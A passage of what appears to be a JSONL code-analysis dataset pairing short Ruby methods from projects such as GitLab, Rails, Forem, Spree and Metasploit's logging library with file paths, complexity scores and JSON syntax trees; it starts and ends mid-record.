Found\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"AgentTokens\"]},\"RevokeService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[null,\"revocable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"execute\"]}]}]}","id":"9c08eea8-4d7a-4311-b797-24c33fa284db"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/logging/log_dispatcher.rb","start_line":133,"raw_source":"def dlog(msg, src = 'core', level = 0)\n $dispatcher.log(LOG_DEBUG, src, level, msg)\nend","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"dlog\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]},{\"type\":\"optarg\",\"children\":[\"src\",{\"type\":\"str\",\"children\":[\"core\"]}]},{\"type\":\"optarg\",\"children\":[\"level\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$dispatcher\"]},\"log\",{\"type\":\"const\",\"children\":[null,\"LOG_DEBUG\"]},{\"type\":\"lvar\",\"children\":[\"src\"]},{\"type\":\"lvar\",\"children\":[\"level\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}","id":"b425e552-05e4-45aa-b5a8-e66e647040bc"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/scaffold_generator_test.rb","start_line":614,"raw_source":"def test_scaffold_tests_pass_by_default_inside_api_mountable_engine\n engine_path = File.join(destination_root, \"bukkits\")\n\n with_new_plugin(engine_path, \"--mountable\", \"--api\") do\n quietly do\n `bin/rails g scaffold User name:string age:integer;\n bin/rails db:migrate`\n end\n assert_match(/6 runs, 10 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)\n end\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scaffold_tests_pass_by_default_inside_api_mountable_engine\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"engine_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"bukkits\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_new_plugin\",{\"type\":\"lvar\",\"children\":[\"engine_path\"]},{\"type\":\"str\",\"children\":[\"--mountable\"]},{\"type\":\"str\",\"children\":[\"--api\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quietly\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bin/rails g scaffold User name:string age:integer;\\n\"]},{\"type\":\"str\",\"children\":[\" bin/rails db:migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"6 runs, 10 assertions, 0 failures, 0 errors\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bin/rails test 2>&1\"]}]}]}]}]}]}]}","id":"9d0054a0-4607-4b76-b137-44a08fc182c8"} {"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/orm/active_record/mixins/application.rb","start_line":48,"raw_source":"def renew_secret\n @raw_secret = secret_generator.generate\n secret_strategy.store_secret(self, :secret, @raw_secret)\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"renew_secret\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@raw_secret\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"secret_generator\"]},\"generate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"secret_strategy\"]},\"store_secret\",{\"type\":\"self\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"secret\"]},{\"type\":\"ivar\",\"children\":[\"@raw_secret\"]}]}]}]}","id":"bafcaa14-63e5-4501-a2f9-028c250da638"} {"repo_name":"forem","file_path":"./repos/forem/app/models/space.rb","start_line":28,"raw_source":"def save\n if limit_post_creation_to_admins?\n FeatureFlag.enable(:limit_post_creation_to_admins)\n else\n FeatureFlag.disable(:limit_post_creation_to_admins)\n end\n\n Spaces::BustCachesForSpaceChangeWorker.perform_async\n\n # I want to ensure that we're returning true, to communicate that the \"save\" was successful.\n true\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"save\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"limit_post_creation_to_admins?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeatureFlag\"]},\"enable\",{\"type\":\"sym\",\"children\":[\"limit_post_creation_to_admins\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeatureFlag\"]},\"disable\",{\"type\":\"sym\",\"children\":[\"limit_post_creation_to_admins\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaces\"]},\"BustCachesForSpaceChangeWorker\"]},\"perform_async\"]},{\"type\":\"true\",\"children\":[]}]}]}","id":"5c47087b-1c78-42a9-9601-6b494a9db636"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/audit/type/definition.rb","start_line":46,"raw_source":"def validate_schema\n schema_errors = AUDIT_EVENT_TYPE_SCHEMA\n .validate(attributes.to_h.deep_stringify_keys)\n .map { |error| JSONSchemer::Errors.pretty(error) }\n\n errors.add(:base, schema_errors) if schema_errors.present?\n end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_schema\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"schema_errors\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AUDIT_EVENT_TYPE_SCHEMA\"]},\"validate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"to_h\"]},\"deep_stringify_keys\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSONSchemer\"]},\"Errors\"]},\"pretty\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schema_errors\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"lvar\",\"children\":[\"schema_errors\"]}]},null]}]}]}","id":"45461df9-828e-4b34-9ccb-fb5daecba726"} {"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/configuration.rb","start_line":168,"raw_source":"def deprecation_stream=(value)\n if @reporter && !value.equal?(@deprecation_stream)\n warn \"RSpec's reporter has already been initialized with \" \\\n \"#{deprecation_stream.inspect} as the deprecation stream, so your change to \"\\\n \"`deprecation_stream` will be ignored. You should configure it earlier for \" \\\n \"it to take effect, or use the `--deprecation-out` CLI option. \" \\\n \"(Called from #{CallerFilter.first_non_rspec_line})\"\n else\n @deprecation_stream = value\n end\n end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"deprecation_stream=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@reporter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"equal?\",{\"type\":\"ivar\",\"children\":[\"@deprecation_stream\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"RSpec's reporter has already been initialized with \"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deprecation_stream\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" as the deprecation stream, so your change to \"]}]},{\"type\":\"str\",\"children\":[\"`deprecation_stream` will be ignored. You should configure it earlier for \"]},{\"type\":\"str\",\"children\":[\"it to take effect, or use the `--deprecation-out` CLI option. \"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(Called from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CallerFilter\"]},\"first_non_rspec_line\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@deprecation_stream\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"10ca51d9-4d28-4b8e-8eeb-ce5d56830cd8"} {"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/cache_key_generation_test.rb","start_line":26,"raw_source":"def test_schema_string_with_referential_has_many\n AssociatedRecord.cache_has_many(:deeply_associated_records, embed: :ids)\n\n assert_equal(\n \"#{NORMALIZED_SCHEMA_STRING},deeply_associated_records:ids\",\n CacheKeyGeneration.denormalized_schema_string(AssociatedRecord),\n )\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_string_with_referential_has_many\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"cache_has_many\",{\"type\":\"sym\",\"children\":[\"deeply_associated_records\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embed\"]},{\"type\":\"sym\",\"children\":[\"ids\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NORMALIZED_SCHEMA_STRING\"]}]},{\"type\":\"str\",\"children\":[\",deeply_associated_records:ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CacheKeyGeneration\"]},\"denormalized_schema_string\",{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]}]}]}]}]}","id":"61fb42a0-f851-4d53-9325-9ba46ac5fd6e"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":1314,"raw_source":"def test_preloading_has_many_through_with_distinct\n mary = Author.includes(:unique_categorized_posts).where(id: authors(:mary).id).first\n assert_equal 1, mary.unique_categorized_posts.length\n assert_equal 1, mary.unique_categorized_post_ids.length\n end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_preloading_has_many_through_with_distinct\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mary\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"unique_categorized_posts\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"mary\"]}]},\"id\"]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mary\"]},\"unique_categorized_posts\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mary\"]},\"unique_categorized_post_ids\"]},\"length\"]}]}]}]}","id":"ab82c666-51fd-4a9d-9559-c550e7776b20"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/api/articles_controller.rb","start_line":177,"raw_source":"def validate_article_param_is_hash\n return if params.to_unsafe_h[:article].is_a?(Hash)\n\n message = I18n.t(\"api.v0.articles_controller.must_be_json\", type: params[:article].class.name)\n render json: { error: message, status: 422 }, status: :unprocessable_entity\n end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_article_param_is_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"to_unsafe_h\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"article\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"api.v0.articles_controller.must_be_json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"article\"]}]},\"class\"]},\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[422]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}","id":"afdd669a-6352-4ddd-90e7-49a8c827f94e"} {"repo_name":"liquid","file_path":"./repos/liquid/test/unit/tags/doc_tag_unit_test.rb","start_line":164,"raw_source":"def test_doc_tag_whitespace_control\n # Basic whitespace control\n assert_template_result(\"Hello!\", \" {%- doc -%}123{%- enddoc -%}Hello!\")\n assert_template_result(\"Hello!\", \"{%- doc -%}123{%- enddoc -%} Hello!\")\n assert_template_result(\"Hello!\", \" {%- doc -%}123{%- enddoc -%} Hello!\")\n assert_template_result(\"Hello!\", <<~LIQUID.chomp)\n {%- doc %}Whitespace control!{% enddoc -%}\n Hello!\n LIQUID\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_doc_tag_whitespace_control\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"Hello!\"]},{\"type\":\"str\",\"children\":[\" {%- doc -%}123{%- enddoc -%}Hello!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"Hello!\"]},{\"type\":\"str\",\"children\":[\"{%- doc -%}123{%- enddoc -%} Hello!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"Hello!\"]},{\"type\":\"str\",\"children\":[\" {%- doc -%}123{%- enddoc -%} Hello!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"Hello!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{%- doc %}Whitespace control!{% enddoc -%}\\n\"]},{\"type\":\"str\",\"children\":[\"Hello!\\n\"]}]},\"chomp\"]}]}]}]}","id":"820d5b11-70ef-4239-a15d-b852c29133d7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/project_type.rb","start_line":1118,"raw_source":"def organization_edit_path\n return if project.organization.nil?\n\n ::Gitlab::Routing.url_helpers.edit_namespace_projects_organization_path(\n project.organization,\n id: project.to_param,\n namespace_id: project.namespace.to_param\n )\n end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"organization_edit_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"organization\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"edit_namespace_projects_organization_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"organization\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"to_param\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]},\"to_param\"]}]}]}]}]}]}","id":"3645a6c7-5708-4bb7-a5ad-352c16d5582e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/sessions_helper.rb","start_line":16,"raw_source":"def session_expire_modal_data\n { session_timeout: Gitlab::Auth::SessionExpireFromInitEnforcer.session_expires_at(session) * 1000,\n sign_in_url: new_session_url(:user, redirect_to_referer: 'yes') }\n end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"session_expire_modal_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session_timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"SessionExpireFromInitEnforcer\"]},\"session_expires_at\",{\"type\":\"send\",\"children\":[null,\"session\"]}]},\"*\",{\"type\":\"int\",\"children\":[1000]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sign_in_url\"]},{\"type\":\"send\",\"children\":[null,\"new_session_url\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redirect_to_referer\"]},{\"type\":\"str\",\"children\":[\"yes\"]}]}]}]}]}]}]}","id":"068f058b-c9e6-45c1-bb03-e396d41d12b2"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/import_row.rb","start_line":100,"raw_source":"def with_store_context\n Spree::Current.store = store\n Rails.application.routes.default_url_options[:host] = store.url_or_custom_domain\n yield\n ensure\n Spree::Current.reset if defined?(Spree::Current)\n end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"with_store_context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Current\"]},\"store=\",{\"type\":\"send\",\"children\":[null,\"store\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"routes\"]},\"default_url_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"url_or_custom_domain\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Current\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Current\"]},\"reset\"]},null]}]}]}","id":"b1d8d0ae-a838-4d4b-8033-0d5f6318735e"} {"repo_name":"rails","file_path":"./repos/rails/actionmailbox/lib/action_mailbox/deprecator.rb","start_line":4,"raw_source":"def self.deprecator # :nodoc:\n @deprecator ||= ActiveSupport::Deprecation.new\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"deprecator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@deprecator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Deprecation\"]},\"new\"]}]}]}","id":"7fe26d5b-06cb-4335-9e7e-ea196e08543d"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/finder/context/test_dates_driver_builder.rb","start_line":6,"raw_source":"def setup\n @subject = Holidays::Finder::Context::DatesDriverBuilder.new\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@subject\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"Finder\"]},\"Context\"]},\"DatesDriverBuilder\"]},\"new\"]}]}]}","id":"050e7681-a001-4a22-96fb-479445025380"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/channel/facebook_page.rb","start_line":41,"raw_source":"def create_contact_inbox(instagram_id, name)\n @contact_inbox = ::ContactInboxWithContactBuilder.new({\n source_id: instagram_id,\n inbox: inbox,\n contact_attributes: { name: name }\n }).perform\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_contact_inbox\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instagram_id\"]},{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@contact_inbox\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ContactInboxWithContactBuilder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"lvar\",\"children\":[\"instagram_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inbox\"]},{\"type\":\"send\",\"children\":[null,\"inbox\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contact_attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]},\"perform\"]}]}]}","id":"f9c41873-b34e-4570-975d-a0bb204c2d83"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb","start_line":555,"raw_source":"def discard! # :nodoc:\n @reaper_lock.synchronize do\n synchronize do\n return if self.discarded?\n @connections.each do |conn|\n conn.discard!\n end\n @connections = @available = @leases = nil\n end\n end\n end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"discard!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@reaper_lock\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"discarded?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connections\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"discard!\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@connections\",{\"type\":\"ivasgn\",\"children\":[\"@available\",{\"type\":\"ivasgn\",\"children\":[\"@leases\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}]}","id":"79936602-82a8-4deb-bec5-435e020942f0"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/o_auth/user.rb","start_line":181,"raw_source":"def find_ldap_person(auth_hash, adapter)\n Gitlab::Auth::Ldap::Person.find_by_uid(auth_hash.uid, adapter) ||\n Gitlab::Auth::Ldap::Person.find_by_email(auth_hash.uid, adapter) ||\n Gitlab::Auth::Ldap::Person.find_by_email(auth_hash.email, adapter) ||\n Gitlab::Auth::Ldap::Person.find_by_dn(auth_hash.uid, adapter)\n rescue Gitlab::Auth::Ldap::LdapConnectionError\n nil\n end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_ldap_person\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"auth_hash\"]},{\"type\":\"arg\",\"children\":[\"adapter\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"Ldap\"]},\"Person\"]},\"find_by_uid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_hash\"]},\"uid\"]},{\"type\":\"lvar\",\"children\":[\"adapter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"Ldap\"]},\"Person\"]},\"find_by_email\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_hash\"]},\"uid\"]},{\"type\":\"lvar\",\"children\":[\"adapter\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"Ldap\"]},\"Person\"]},\"find_by_email\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_hash\"]},\"email\"]},{\"type\":\"lvar\",\"children\":[\"adapter\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"Ldap\"]},\"Person\"]},\"find_by_dn\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_hash\"]},\"uid\"]},{\"type\":\"lvar\",\"children\":[\"adapter\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"Ldap\"]},\"LdapConnectionError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"6b2283b6-79c0-4929-9573-2cc35d29a276"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/admin/clusters_controller_spec.rb","start_line":447,"raw_source":"def delete_destroy\n delete :destroy,\n params: {\n id: cluster\n }\n 